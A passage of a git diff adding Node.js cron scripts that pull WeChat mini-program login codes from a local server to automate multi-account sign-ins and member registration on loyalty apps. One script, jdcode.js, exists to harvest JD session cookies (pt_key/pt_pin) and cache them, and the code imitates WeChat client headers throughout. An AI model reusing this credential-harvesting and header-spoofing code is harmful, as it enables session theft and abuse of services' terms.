} + async getPhoneCode() { + const { data } = await axios.post( + `${wechat.serverUrl}/wx/getphonenumber`, + { appid: MINI_APP_ID, openid: this.account.openid }, + { headers: { auth: wechat.auth }, timeout: 60000, validateStatus: () => true } + ); + if (!data || data.status === false) { this.log(`获取手机号 code 失败: ${short(data)}`); return ""; } + const phoneCode = data?.data?.code || data?.code || ""; + if (!phoneCode) { this.log(`wx_server 未返回手机号 code: ${short(data)}`); return ""; } + return phoneCode; + } + // method: GET/POST;opts: {params, form, json, withToken} + async request(method, apiPath, { params, form, json, withToken = true } = {}) { + const headers = { + "User-Agent": UA, + Accept: "*/*", + xweb_xhr: "1", + "Sec-Fetch-Site": "cross-site", + "Sec-Fetch-Mode": "cors", + "Sec-Fetch-Dest": "empty", + Referer: `https://servicewechat.com/${MINI_APP_ID}/${PAGE_VERSION}/page-frame.html`, + "Accept-Language": "zh-CN,zh;q=0.9", + }; + if (withToken && this.token) { + headers["unique_identity"] = this.token; + headers["apitoken"] = this.apitoken || this.token; + } + let data; + if (form) { headers["Content-Type"] = "application/x-www-form-urlencoded"; data = formEncode(form); } + else if (json) { headers["Content-Type"] = "application/json"; data = JSON.stringify(json); } + const res = await axios.request({ + method, url: `${BASE_URL}${apiPath}`, params, data, headers, + timeout: 20000, validateStatus: () => true, + }); + if (res.data && typeof res.data === "object") return res.data; + return { success: false, msg: `HTTP ${res.status}: ${short(res.data)}` }; + } + async login() { + const loginCode = await this.getCode(); + const res = await this.request("POST", EP_LOGIN, { + form: { jscode: loginCode, app_id: MINI_APP_ID, client_code: CLIENT_CODE }, + withToken: false, + }); + const token = res?.data?.token; + if (!token) throw new Error(`登录未返回 token(可能未注册/取码失败): ${short(res)}`); + this.token = String(token); + this.log("登录成功"); + // 第二个 code 换 apitoken(失败则用 token 兜底) + try { + const authCode = await this.getCode(); + const authRes = await this.request("GET", EP_AUTH, { + params: { app_id: MINI_APP_ID, client_code: CLIENT_CODE, jscode: authCode }, + withToken: false, + }); + this.apitoken = (authRes && authRes.data) ? String(authRes.data) : this.token; + } catch (e) { + this.log(`apitoken 获取异常,用 token 兜底: ${e.message || e}`); + this.apitoken = this.token; + } + const cache = readCache(); + cache[this.account.openid] = { token: this.token, apitoken: this.apitoken, updatedAt: new Date().toISOString() }; + writeCache(cache); + } + async ensureMember() { + const info = await this.request("GET", EP_USER_INFO); + if (!info?.success) { this.log(`查询用户信息失败: ${info?.msg || short(info)}`); return false; } + const ud = info.data || {}; + const memberInfo = ud.extra_memberinfo || {}; + if (memberInfo.member_status === 1) { + const mid = (memberInfo.memberdto || {}).m_id || ""; + this.log(`已是会员${mid ? ` (ID:${mid})` : ""}`); + return true; + } + this.log("尚未注册会员,尝试手机验证+注册"); + const phoneCode = await this.getPhoneCode(); + if (!phoneCode) { this.unregistered = true; return false; } + const phoneResp = await this.request("POST", EP_GET_PHONE, { + form: { code: phoneCode, app_id: MINI_APP_ID, client_code: CLIENT_CODE }, + }); + if (!phoneResp?.success) { this.log(`手机号验证失败: ${phoneResp?.msg || short(phoneResp)}`); this.unregistered = true; return false; } + const checkId = phoneResp.data?.check_id; + const phoneNumber = phoneResp.data?.phone_number || ""; + if (!checkId) { this.log("手机号验证未返回 check_id"); this.unregistered = true; return false; } + const regResp = await this.request("POST", EP_REGISTER, { + json: { + custom_fields: phoneNumber ? [{ id: "phone", field_valuestr: phoneNumber }] : [], + register_member: true, + register_member_phonenumbercheckdto: { system_checkid: checkId }, + member_sourceinfo: { source_key01: "jdbmember001", source_key02: "加多宝小程序虚拟门店", source_key03: "", source_key04: "" }, + }, + }); + if (regResp?.success) { + const mid = (regResp.data?.register_member_result || {}).member_id || ""; + this.log(`注册会员成功${mid ? ` (ID:${mid})` : ""}`); + return true; + } + this.log(`注册会员失败: ${regResp?.msg || short(regResp)}`); + this.unregistered = true; + return false; + } + async signin() { + const list = await this.request("GET", EP_SIGNIN_LIST, { params: { status: 30, pageNum: 1, pageSize: 1 } }); + if (!list?.success) { this.log(`❌ 获取签到活动失败: ${list?.msg || short(list)}`); return; } + const arr = list.data || []; + if (!arr.length) { this.log("暂无进行中的签到活动"); return; } + const activityId = arr[0]?.activitydto?.id; + if (!activityId) { this.log("❌ 签到失败: 未返回活动 ID"); return; } + this.log(`签到活动 ID: ${activityId}`); + + const ui = await this.request("GET", EP_SIGNIN_USERINFO, { params: { task_id: activityId } }); + let total = 0, already = false; + if (ui?.success) { + const ud = ui.data || {}; + total = ud.total_signindays || 0; + const cont = ud.continuity_signindays || 0; + this.log(`累计 ${total} 天,连续 ${cont} 天`); + const latest = String(ud.latest_signin_time || ""); + if (latest.startsWith(chinaDateStr())) already = true; + } + if (already) { this.log(`✅ 今日已签到 (累计${total}天)`); return; } + + const resp = await this.request("POST", EP_SIGNIN_DO, { form: { task_id: activityId } }); + if (resp?.success) { this.log(`✅ 签到成功 (累计${total + 1}天)`); return; } + const msg = resp?.msg || short(resp); + if (/已完成签到|已经签到|已签|重复/.test(String(msg))) { this.log(`✅ 今日已签到(${msg})`); return; } + this.log(`❌ 签到失败: ${msg}`); + } + async ensureLogin() { + const cached = readCache()[this.account.openid] || {}; + if (!this.token && cached.token) { this.token = cached.token; this.apitoken = cached.apitoken || cached.token; this.log("使用缓存token"); return; } + if (!this.token) await this.login(); + } + async run() { + if (!this.account.openid) { this.log("跳过:变量值里没有 openid"); return; } + try { + await this.ensureLogin(); + const isMember = await this.ensureMember(); + if (!isMember && this.unregistered) { + this.log("⚠️ 该微信号还没在加多宝Club注册会员(手机号验证/注册未通过),先在小程序里登录注册一次再跑"); + // 仍尝试签到一次,若接口本身允许则可签 + } + await this.signin(); + } catch (e) { + if (/未返回 token/.test(String(e.message))) { + this.log("⚠️ 登录未拿到 token(该微信号可能未注册加多宝Club),先在小程序里注册一次再跑"); + return; + } + this.log(`执行失败: ${e.message || e}`); + } + } +} + +!(async () => { + $.checkEnv(ckName); + if (!$.userCount) { $.log(`未找到变量 ${ckName}`); return; } + for (let i = 0; i < $.userList.length; i++) { + await new Task($.userList[i]).run(); + if (i < $.userList.length - 1) await $.wait(1500, 3000); + } +})().catch((e) => $.log(e.message || e)).finally(() => $.done()); diff --git a/wxapp/jdcode.js b/wxapp/jdcode.js new file mode 100644 index 00000000..820134a4 --- /dev/null +++ b/wxapp/jdcode.js @@ -0,0 +1,155 @@ +/* +------------------------------------------ +@Description: 京东(JDCode) - 微信小程序静默登录 + 采集 JD_COOKIE(pt_key/pt_pin) +cron: 0 0,6,12,18 * * * +------------------------------------------ +变量名:jdcode +变量值:wx_server 里的 openid/账号标识,多账号用 & 或换行分隔(可加 #备注) + +依赖变量: +wx_server_url 默认 http://192.168.31.196:8787 +wx_auth 必填,wx_server 鉴权值 +------------------------------------------ +契约(appid wx2f5d8f9715c59d10,host wq.jd.com): +(迁移自 YYB-GO 系脚本 JDCode.py;本质不是签到,而是“京东小程序 code 登录 → 采集 pt_key/pt_pin(=JD_COOKIE)”) + +登录 GET https://wq.jd.com/mlogin/wxapp/login_lt + query: appid= & code= & type=silent & isIgnoreCookie=false ... + 成功(该微信已绑定京东账号):Set-Cookie 返回 pt_key / pt_pin,body.info.pin 非空 + 未绑定:retCode=21 / retMsg="get apppwd failed",info.pin/skey/unionid 全空,仅返回 sfstoken + +⚠️ 该脚本非日常签到脚本,产出物是京东账号会话凭证 JD_COOKIE(pt_key;pt_pin)。 + 静默登录仅在“该微信 openid 已绑定京东账号”时才会下发 pt 票据;未绑定时无法凭微信 code 生成。 + 绑定/首登需要京东账号(账号密码/短信/passToken) 或 老式 getUserInfo 的 encryptedData+iv + 与同一未消耗 code 做 code2session — smallcat 均无法提供(见文末实测),故对测试号判 blocked。 + APPID 为该小程序固定应用标识(原脚本硬编码,非个人凭证);pt_key/pt_pin 为每次运行现取,脚本不内置任何个人凭证。 +------------------------------------------ +*/ + +const { Env } = require("../tools/env.js"); +const $ = new Env("京东Code采集"); +const axios = require("axios"); +const fs = require("fs"); +const path = require("path"); +const WeChatServer = require("./wcs.js"); + +const ckName = "jdcode"; +const MINI_APP_ID = "wx2f5d8f9715c59d10"; // JD_PT_APPID:login_lt 的 appid(须与取 code 的 appid 一致) +const PAGE_VERSION = "873"; +const LOGIN_URL = "https://wq.jd.com/mlogin/wxapp/login_lt"; +const COOKIE_CACHE_FILE = path.join(__dirname, "jdcode_cookie_cache.json"); +const UA = + "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) " + + "Mobile/15E148 MicroMessenger/8.0.49 NetType/WIFI Language/zh_CN miniProgram/" + MINI_APP_ID; + +const wechat = new WeChatServer({ + url: process.env.wx_server_url || "http://192.168.31.196:8787", + appid: MINI_APP_ID, + auth: process.env.wx_auth || "", +}); + +function readCache() { + try { if (!fs.existsSync(COOKIE_CACHE_FILE)) return {}; return JSON.parse(fs.readFileSync(COOKIE_CACHE_FILE, "utf8")) || {}; } catch (e) { return {}; } +} +function writeCache(c) { + try { fs.writeFileSync(COOKIE_CACHE_FILE, JSON.stringify(c, null, 2), "utf8"); } catch (e) { $.log(`写入缓存失败: ${e.message || e}`); } +} +function parseAccount(raw = "") { + const [id, remark] = String(raw).split("#").map((s) => (s || "").trim()); + return { openid: id, remark: remark || "" }; +} +function short(v, n = 300) { + const t = typeof v === "string" ? v : JSON.stringify(v); + return !t ? "" : t.length > n ? `${t.slice(0, n)}...` : t; +} +function mask(v) { + const s = String(v || ""); + return s.length <= 8 ? s.replace(/./g, "*") : `${s.slice(0, 4)}****${s.slice(-4)}`; +} +// 从 Set-Cookie 数组里提取指定 cookie 名的值 +function pickCookie(setCookies, name) { + for (const c of setCookies || []) { + const m = new RegExp(`(?:^|[;,\\s])${name}=([^;]+)`).exec(String(c)); + if (m) return m[1]; + } + return ""; +} + +class Task { + constructor(raw) { + this.index = $.userIdx++; + this.account = parseAccount(raw); + } + log(text) { + $.log(`账号[${this.index}]${this.account.remark ? `[${this.account.remark}]` : ""} ${text}`); + } + async getCode() { + const { data } = await wechat.getCode(this.account.openid); + if (data && data.status === false) throw new Error(`wx_server 取code失败: ${data.message || short(data)}`); + const code = data?.data?.code || data?.code; + if (!code || typeof code !== "string") throw new Error(`wx_server 未返回 code: ${short(data)}`); + return code; + } + async loginLt(code) { + const params = { + appid: MINI_APP_ID, code, type: "silent", isPopup: "false", + isIgnoreCookie: "false", isOfficialPin: "false", loginColor: "{}", + returnUrl: "pages/my/index/index", deviceName: "iPhone", deviceOS: "iOS", + deviceOSVersion: "17.0", deviceVersion: "8.0.49", g_tk: "0", g_ty: "ls", + }; + const res = await axios.get(LOGIN_URL, { + params, + headers: { + "User-Agent": UA, + Referer: `https://servicewechat.com/${MINI_APP_ID}/${PAGE_VERSION}/page-frame.html`, + Accept: "application/json,text/plain,*/*", + }, + timeout: 20000, maxRedirects: 0, validateStatus: () => true, + }); + let body = res.data; + if (typeof body === "string") { try { body = JSON.parse(body); } catch (e) { body = { raw: body }; } } + return { status: res.status, setCookies: res.headers["set-cookie"] || [], body: body || {} }; + } + async run() { + if (!this.account.openid) { this.log("跳过:变量值里没有 openid"); return; } + try { + const code = await this.getCode(); + const { status, setCookies, body } = await this.loginLt(code); + const info = (body && body.info) || {}; + const ptKey = pickCookie(setCookies, "pt_key"); + const ptPin = pickCookie(setCookies, "pt_pin") || info.pin || ""; + + // 已绑定京东账号:静默登录会下发 pt_key/pt_pin + if (ptKey && ptPin) { + const jdCookie = `pt_key=${ptKey};pt_pin=${ptPin};`; + const cache = readCache(); + cache[this.account.openid] = { pin: ptPin, jdCookie, updatedAt: new Date().toISOString() }; + writeCache(cache); + this.log(`✅ 采集 JD_COOKIE 成功:pin=${ptPin} pt_key=${mask(ptKey)}(已写入本地缓存 ${path.basename(COOKIE_CACHE_FILE)})`); + this.log(" 提示:如需同步到青龙 JD_COOKIE,请自行接入青龙 Open API(QL_URL/QL_CLIENT_ID/QL_CLIENT_SECRET)。"); + return; + } + + // 未绑定京东账号:login_lt 返回 get apppwd failed / pin 为空 + const retMsg = body.retMsg || body.retmsg || ""; + const retCode = body.retCode ?? body.retcode; + if (String(retMsg).includes("apppwd") || String(retCode) === "21" || (!info.pin && info.pinStatus === 0)) { + this.log(`⚠️ 该微信未绑定京东账号(login_lt retCode=${retCode} ${retMsg}),无法凭微信 code 静默取得 pt_key/pt_pin。`); + this.log(" 需先在京东小程序内用【京东账号(账号密码/短信/passToken)】登录一次完成绑定,或提供老式 getUserInfo encryptedData(smallcat 无法提供)。此为京东账号红线,判 blocked。"); + return; + } + this.log(`❌ login_lt 未返回 pt 票据 (HTTP ${status}):${short(body)}`); + } catch (e) { + this.log(`执行失败: ${e.message || e}`); + } + } +} + +!(async () => { + $.checkEnv(ckName); + if (!$.userCount) { $.log(`未找到变量 ${ckName}`); return; } + for (let i = 0; i < $.userList.length; i++) { + await new Task($.userList[i]).run(); + if (i < $.userList.length - 1) await $.wait(1500, 3000); + } +})().catch((e) => $.log(e.message || e)).finally(() => $.done()); diff --git a/wxapp/jdyj.js b/wxapp/jdyj.js new file mode 100644 index 00000000..edfd7398 --- /dev/null +++ b/wxapp/jdyj.js @@ -0,0 +1,230 @@ +/* +------------------------------------------ +@Description: 金典有机生活 - 微信小程序静默登录 + 每日签到 +cron: 30 11 * * * +------------------------------------------ +变量名:jdyj +变量值:wx_server 里的 openid/账号标识,多账号用 & 或换行分隔(可加 #备注) + +依赖变量: +wx_server_url 默认 http://192.168.31.196:8787 +wx_auth 必填,wx_server 鉴权值 +------------------------------------------ +契约(appid wxf32616183fb4511e,host msmarket.msx.digitalyili.com): +(迁移自 YYB-GO 系脚本,原脚本已 code 登录;纯 code 登录,无签名机制) + +判定成功:data.status===true 或 data.success===true +登录 POST /auth/account/login {jsCode: code}(头不带 token) + -> data.data.accessToken(=后续 token,放请求头 access-token) +状态 GET /member/sign/status -> data.data.signed / data.data.signedDays +签到 POST /member/daily/sign {} -> data.data.dailySign.{bonusPoint,bonusGrowth} +用户 GET /auth/account/user/info (校验缓存 token 是否有效) + +请求头(数字化伊利网关直连,非个人凭证的固定应用常量): + access-token=,tenant-id=1718857849685876737,scene=1008 + X-WX-HTTP-MODE:REROUTE / x-wx-route-tag: / x-wx-appid: 等网关模拟头 +TENANT_ID / GATEWAY_DOMAIN 是这家小程序固定应用常量(原脚本硬编码,非个人凭证)。 +------------------------------------------ +*/ + +const { Env } = require("../tools/env.js"); +const $ = new Env("金典有机生活签到"); +const axios = require("axios"); +const fs = require("fs"); +const path = require("path"); +const WeChatServer = require("./wcs.js"); + +const ckName = "jdyj"; +const MINI_APP_ID = "wxf32616183fb4511e"; +const HOST = "https://msmarket.msx.digitalyili.com/gateway/api"; +const GATEWAY_DOMAIN = "a1d5e7a41-wx621112590b635086.sh.wxgateway.com"; +const TENANT_ID = "1718857849685876737"; +const SCENE = "1008"; +const TOKEN_CACHE_FILE = path.join(__dirname, "jdyj_token_cache.json"); +const UA = + "Mozilla/5.0 (iPhone; CPU iPhone OS 18_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) " + + "Mobile/15E148 MicroMessenger/8.0.58(0x18003a35) NetType/WIFI MiniProgramEnv/iOS"; + +const EP_LOGIN = "/auth/account/login"; +const EP_USERINFO = "/auth/account/user/info"; +const EP_SIGN_STATUS = "/member/sign/status"; +const EP_SIGN = "/member/daily/sign"; + +const wechat = new WeChatServer({ + url: process.env.wx_server_url || "http://192.168.31.196:8787", + appid: MINI_APP_ID, + auth: process.env.wx_auth || "", +}); + +function readCache() { + try { if (!fs.existsSync(TOKEN_CACHE_FILE)) return {}; return JSON.parse(fs.readFileSync(TOKEN_CACHE_FILE, "utf8")) || {}; } catch (e) { return {}; } +} +function writeCache(c) { + try { fs.writeFileSync(TOKEN_CACHE_FILE, JSON.stringify(c, null, 2), "utf8"); } catch (e) { $.log(`写入缓存失败: ${e.message || e}`); } +} +function parseAccount(raw = "") { + const [id, remark] = String(raw).split("#").map((s) => (s || "").trim()); + return { openid: id, remark: remark || "" }; +} +function short(v, n = 240) { + const t = typeof v === "string" ? v : JSON.stringify(v); + return !t ? "" : t.length > n ? `${t.slice(0, n)}...` : t; +} +function randomStr(n) { + const cs = "abcdefghijklmnopqrstuvwxyz0123456789"; + return Array.from({ length: n }, () => cs[Math.floor(Math.random() * cs.length)]).join(""); +} +function isSuccess(d) { + return Boolean(d && typeof d === "object" && (d.status === true || d.success === true)); +} +function errMsg(d) { + if (!d) return "未知错误"; + if (typeof d === "string") return d; + return d.message || d.msg || (d.error && (d.error.msg || d.error.message)) || short(d); +} +const isAlreadyDone = (t) => /已签到|已领取|已完成|今日已|已经|重复|repeat/i.test(String(t || "")); + +class Task { + constructor(raw) { + this.index = $.userIdx++; + this.account = parseAccount(raw); + this.token = ""; + } + log(text) { + $.log(`账号[${this.index}]${this.account.remark ? `[${this.account.remark}]` : ""} ${text}`); + } + buildHeaders(withToken = true) { + return { + Accept: "application/json, text/plain, */*", + "Accept-Language": "zh-CN,zh;q=0.9", + "Content-Type": "application/json", + Origin: "https://servicewechat.com", + Referer: `https://servicewechat.com/${MINI_APP_ID}/release/page-frame.html`, + "User-Agent": UA, + "access-token": withToken ? String(this.token || "") : "", + "atv-page": "", + "forward-appid": "", + "register-source": "", + scene: SCENE, + "source-type": "", + "tenant-id": TENANT_ID, + xweb_xhr: "1", + "X-WX-HTTP-MODE": "REROUTE", + "X-WX-CONF-VERSION": "0", + "x-wx-call-id": `${Date.now()}-${randomStr(8)}`, + "x-wx-route-tag": GATEWAY_DOMAIN, + "x-wx-source": "wx_client", + "x-wx-appid": MINI_APP_ID, + "x-envoy-expected-rq-timeout-ms": "15000", + }; + } + async request(apiPath, { method = "GET", body = null, withToken = true } = {}) { + let url = `${HOST}${apiPath}`; + const isGet = method.toUpperCase() === "GET"; + const opts = { + method, + url, + headers: this.buildHeaders(withToken), + timeout: 20000, + validateStatus: () => true, + }; + if (!isGet) opts.data = JSON.stringify(body ?? {}); + const res = await axios.request(opts); + if (res.status !== 200) { + if (res.data && typeof res.data === "object") return res.data; + throw new Error(`${apiPath} HTTP ${res.status}: ${short(res.data)}`); + } + return res.data; + } + async getCode() { + const { data } = await wechat.getCode(this.account.openid); + if (data && data.status === false) throw new Error(`wx_server 取code失败: ${data.message || short(data)}`); + const code = data?.data?.code || data?.code; + if (!code || typeof code !== "string") throw new Error(`wx_server 未返回 code: ${short(data)}`); + return code; + } + async login() { + const code = await this.getCode(); + const res = await this.request(EP_LOGIN, { method: "POST", body: { jsCode: code }, withToken: false }); + if (!isSuccess(res)) throw new Error(`登录失败: ${errMsg(res)}`); + const info = res.data || {}; + this.token = String(info.accessToken || info.token || ""); + if (!this.token) throw new Error(`登录未返回 accessToken(可能未注册): ${short(res)}`); + const cache = readCache(); + cache[this.account.openid] = { token: this.token, updatedAt: new Date().toISOString() }; + writeCache(cache); + this.log("登录成功"); + } + async ensureLogin() { + const cached = readCache()[this.account.openid] || {}; + if (!this.token && cached.token) { + this.token = cached.token; + const test = await this.request(EP_USERINFO, { method: "GET" }).catch(() => null); + if (isSuccess(test)) { this.log("使用缓存token"); return; } + this.log("缓存token失效,重新登录"); + this.token = ""; + } + if (!this.token) await this.login(); + } + async sign(retry = true) { + // 先查状态,已签直接返回 + const st = await this.request(EP_SIGN_STATUS, { method: "GET" }); + if (isSuccess(st) && st.data && st.data.signed) { + return this.log(`✅ 今日已签到,累计 ${st.data.signedDays ?? "?"} 天`); + } + // 状态查询失败若为鉴权问题则重登 + if (!isSuccess(st)) { + const smsg = errMsg(st); + if (retry && /token|登录|未授权|失效|过期|未登录|鉴权|401|unauthorized/i.test(String(smsg))) { + this.log("会话失效,重新登录后重试"); + this.token = ""; + await this.login(); + return this.sign(false); + } + } + const res = await this.request(EP_SIGN, { method: "POST", body: {} }); + if (isSuccess(res)) { + const d = res.data || {}; + const ds = d.dailySign || {}; + const cont = d.continuationSign || {}; + const parts = []; + if (Number(ds.bonusPoint)) parts.push(`+${ds.bonusPoint}积分`); + if (Number(ds.bonusGrowth)) parts.push(`+${ds.bonusGrowth}成长值`); + if (Number(cont.bonusPoint)) parts.push(`连签+${cont.bonusPoint}积分`); + if (Number(cont.bonusGrowth)) parts.push(`连签+${cont.bonusGrowth}成长值`); + return this.log(`✅ 签到成功${parts.length ? "," + parts.join(",") : ""}`); + } + const msg = errMsg(res); + if (isAlreadyDone(msg)) return this.log(`✅ 今日已签到(${msg})`); + if (retry && /token|登录|未授权|失效|过期|未登录|鉴权|401|unauthorized/i.test(String(msg))) { + this.log("会话失效,重新登录后重试"); + this.token = ""; + await this.login(); + return this.sign(false); + } + this.log(`❌ 签到失败: ${msg}`); + } + async run() { + if (!this.account.openid) { this.log("跳过:变量值里没有 openid"); return; } + try { + await this.ensureLogin(); + await this.sign(); + } catch (e) { + const m = String(e.message || e); + if (/未注册|未返回 accessToken/.test(m)) { + this.log("⚠️ 该微信号还没在金典有机生活注册会员,先在小程序里登录注册一次再跑"); + return; + } + this.log(`执行失败: ${m}`); + } + } +} + +!(async () => { + $.checkEnv(ckName); + if (!$.userCount) { $.log(`未找到变量 ${ckName}`); return; } + for (let i = 0; i < $.userList.length; i++) { + await new Task($.userList[i]).run(); + if (i < $.userList.length - 1) await $.wait(1500, 3000); + } +})().catch((e) => $.log(e.message || e)).finally(() => $.done()); diff --git a/wxapp/jingjianx_all.js b/wxapp/jingjianx_all.js new file mode 100644 index 00000000..675c1f21 --- /dev/null +++ b/wxapp/jingjianx_all.js @@ -0,0 +1,643 @@ +/* +------------------------------------------ +@Author: sm +@Date: 2026.06.05 +@Description: jingjianx 小程序统一登录查询签到 +cron: 30 8 * * * +------------------------------------------ +变量名:jingjianx_all +变量值:wx_server 里的 openid/账号标识,多账号用 & 或换行 + +也兼容原单脚本变量名,如 xswj、dywj、afdacw、super101cmdwyd 等。 +总变量可用 appid=openid、变量名=openid、小程序名=openid 指定单个小程序账号。 + +依赖变量: +wx_server_url 默认 http://192.168.31.196:8787 +wx_auth 必填,wx_server 鉴权值 +------------------------------------------ +*/ + +const { Env } = require("../tools/env.js"); +const $ = new Env("jingjianx统一签到"); +const axios = require("axios"); +const fs = require("fs"); +const path = require("path"); +const WeChatServer = require("./wcs.js"); + +const CK_NAME = "jingjianx_all"; +const WX_SERVER_URL = process.env.wx_server_url || "http://192.168.31.196:8787"; +const WX_AUTH = process.env.wx_auth || ""; +const CACHE_FILE = path.join(__dirname, "jingjianx_all_token_cache.json"); +const USER_AGENT = + "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) MicroMessenger/3.9.12 MiniProgramEnv/Windows WindowsWechat/WMPF"; + +const APPS = [ + { + ck: "cwsjnbyyz", + name: "潮玩社 JN北园银座店", + appid: "wx533baf4b9428d47f", + chainId: "8684", + shops: [{ shopId: "15666", shopName: "潮玩社 JN北园银座店" }], + }, + { + ck: "afdacw", + name: "阿凡达潮玩荟家庭娱乐中心", + appid: "wxea93bab38fc144d1", + chainId: "10967", + shops: [ + { shopId: "21380", shopName: "阿凡达潮玩荟文水店" }, + { shopId: "21094", shopName: "阿凡达潮玩荟太原迎春街店" }, + { shopId: "20169", shopName: "阿凡达潮玩荟忻州店" }, + { shopId: "19075", shopName: "阿凡达潮玩荟榆次店" }, + ], + }, + { + ck: "dywj", + name: "D1玩家", + appid: "wxcced0bb82c738dd1", + chainId: "3708", + shops: [ + { shopId: "7960", shopName: "D1玩家-大丰保利店" }, + { shopId: "18811", shopName: "D1玩家友谊广场店" }, + { shopId: "14082", shopName: "D1玩家-大丰汇融店" }, + { shopId: "13473", shopName: "D1玩家-阳光新业店" }, + { shopId: "13190", shopName: "D1玩家-龙湖金楠天街店" }, + { shopId: "19190", shopName: "酷啦啦-甘孜店" }, + { shopId: "12302", shopName: "D1玩家-龙湖锦宸店" }, + ], + }, + { + ck: "gxdwj", + name: "高新大玩家", + appid: "wx7ec8c4f08046df18", + chainId: "11279", + shops: [{ shopId: "19642", shopName: "高新大玩家" }], + }, + { + ck: "dwjjxyl", + name: "大玩家匠心娱乐", + appid: "wxf64d5e147f9cc3b6", + chainId: "9663", + shops: [{ shopId: "17093", shopName: "大玩家匠心娱乐" }], + }, + { + ck: "wjsldwjxy", + name: "玩家森林大玩家XY", + appid: "wx6136bd123a990614", + chainId: "9095", + shops: [{ shopId: "18894", shopName: "玩家森林大玩家XY" }], + }, + { + ck: "jswjbzjk", + name: "极速玩家巴中经开店", + appid: "wx174a477493da1aeb", + chainId: "4748", + shops: [{ shopId: "19081", shopName: "极速玩家巴中经开店" }], + }, + { + ck: "jyxmhdylly", + name: "嘉鱼县梦幻岛游乐园", + appid: "wxb7fcdb0c375bac0c", + chainId: "10762", + shops: [{ shopId: "18752", shopName: "嘉鱼县梦幻岛游乐园" }], + }, + { + ck: "qccwc", + name: "七彩潮玩城", + appid: "wx72727cb43e04f838", + chainId: "7243", + shops: [{ shopId: "12860", shopName: "七彩潮玩城" }], + }, + { + ck: "jhjtylclc", + name: "吉合家庭娱乐超乐场", + appid: "wxdc43cd8bfcfd00ad", + chainId: "3580", + shops: [{ shopId: "8551", shopName: "吉合家庭娱乐超乐场" }], + }, + { + ck: "super101cmdwyd", + name: "SUPER101潮漫电玩宜都店", + appid: "wx1031a0ff78dbb777", + chainId: "3091", + shops: [{ shopId: "13516", shopName: "SUPER101潮漫电玩宜都店" }], + }, + { + ck: "wx_three_sign", + name: "城市星空颖上恒太", + appid: "wxab97f393b22fc3f0", + chainId: "3900", + shops: [{ shopId: "7726", shopName: "城市星空颖上恒太" }], + }, + { + ck: "wjcq", + name: "维京传奇长春店", + appid: "wxf4a3dae0d0cfd841", + chainId: "11383", + shops: [{ shopId: "19820", shopName: "维京传奇长春店" }], + }, + { + ck: "xswj", + name: "像素玩家电玩城", + appid: "wx16ad44c68249d573", + chainId: "10557", + shops: [{ shopId: "18417", shopName: "像素玩家电玩城" }], + }, + { + ck: "xblfysx", + name: "星贝乐阜阳商厦中心店", + appid: "wxf0a7f75ab1670953", + chainId: "3900", + shops: [{ shopId: "17457", shopName: "星贝乐阜阳商厦中心店" }], + }, + { + ck: "zjdmc", + name: "中嘉动漫创美店", + appid: "wx97b6b57988678880", + chainId: "8006", + shops: [{ shopId: "21310", shopName: "中嘉动漫创美店" }], + }, + { + ck: "zjdmzj", + name: "中嘉动漫城樽憬店", + appid: "wx334c4ec677c62f96", + chainId: "8006", + shops: [{ shopId: "16741", shopName: "中嘉动漫城樽憬店" }], + }, +]; + +for (const app of APPS) { + app.apiBase = process.env[`${app.ck}_api_base`] || "https://capi.jingjianx.vip"; + app.chainId = process.env[`${app.ck}_chainid`] || app.chainId; + app.version = process.env[`${app.ck}_version`] || "release"; + const shopIds = (process.env[`${app.ck}_shop_ids`] || "") + .split(/[,,&;\n]+/) + .map((item) => item.trim()) + .filter(Boolean); + if (shopIds.length) { + app.shops = app.shops + .filter((shop) => shopIds.includes(String(shop.shopId))) + .concat( + shopIds + .filter((id) => !app.shops.some((shop) => String(shop.shopId) === id)) + .map((id) => ({ shopId: id, shopName: `门店${id}` })) + ); + } +} + +function readCache() { + try { + if (!fs.existsSync(CACHE_FILE)) return {}; + return JSON.parse(fs.readFileSync(CACHE_FILE, "utf8")) || {}; + } catch { + return {}; + } +} + +function writeCache(cache) { + try { + fs.writeFileSync(CACHE_FILE, JSON.stringify(cache, null, 2), "utf8"); + } catch (e) { + $.log(`写入token缓存失败: ${e.message || e}`); + } +} + +function shortToken(token = "") { + const value = String(token).replace(/^Bearer\s+/i, ""); + return value ? `${value.slice(0, 4)}***${value.slice(-4)}` : ""; +} + +function maskPhone(phone = "") { + return String(phone).replace(/^(\d{3})\d{4}(\d{4})$/, "$1****$2"); +} + +function createGuid() { + return "xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx".replace(/[xy]/g, (c) => { + const r = (Math.random() * 16) | 0; + const v = c === "x" ? r : (r & 0x3) | 0x8; + return v.toString(16); + }); +} + +function isToday(dateText = "") { + if (!dateText) return false; + const now = new Date(); + const y = now.getFullYear(); + const m = String(now.getMonth() + 1).padStart(2, "0"); + const d = String(now.getDate()).padStart(2, "0"); + return String(dateText).startsWith(`${y}-${m}-${d}`); +} + +function addStoreAsset(assets, category, value, name = "") { + const amount = Number(value || 0); + const label = String(name || ""); + if (label) { + if (/积分|Point/i.test(label)) assets.integral += amount; + else if (/彩票|票/.test(label)) assets.ticket += amount; + else if (/游戏币|本币|代币/.test(label)) assets.coin += amount; + return; + } + if ([101, 102, 103].includes(Number(category))) assets.coin += amount; + else if (Number(category) === 105) assets.integral += amount; + else if ([104, 106, 1001, 1002, 1003].includes(Number(category))) assets.ticket += amount; +} + +function parseEntries(raw = "") { + if (!raw.trim()) return []; + if (/^\s*[\[{]/.test(raw)) { + try { + const data = JSON.parse(raw); + if (Array.isArray(data)) return data.map(String).filter(Boolean); + if (data && typeof data === "object") { + return Object.entries(data).map(([key, value]) => `${key}=${value}`); + } + } catch { + return []; + } + } + return raw + .split(/[\n&;|]+/) + .map((item) => item.trim()) + .filter(Boolean); +} + +function resolveAccounts(app, totalEntries) { + const entries = totalEntries.length ? totalEntries : parseEntries(process.env[app.ck] || ""); + const mapped = []; + const common = []; + for (const entry of entries) { + const index = entry.indexOf("="); + if (index > 0) { + const key = entry.slice(0, index).trim(); + const value = entry.slice(index + 1).trim(); + if (value && [app.appid, app.ck, app.name].includes(key)) mapped.push(value); + } else { + common.push(entry); + } + } + return mapped.length ? mapped : common; +} + +class AppContext { + constructor(app) { + this.app = app; + this.wx = new WeChatServer({ + url: WX_SERVER_URL, + appid: app.appid, + auth: WX_AUTH, + }); + } + + async getCode(openid) { + if 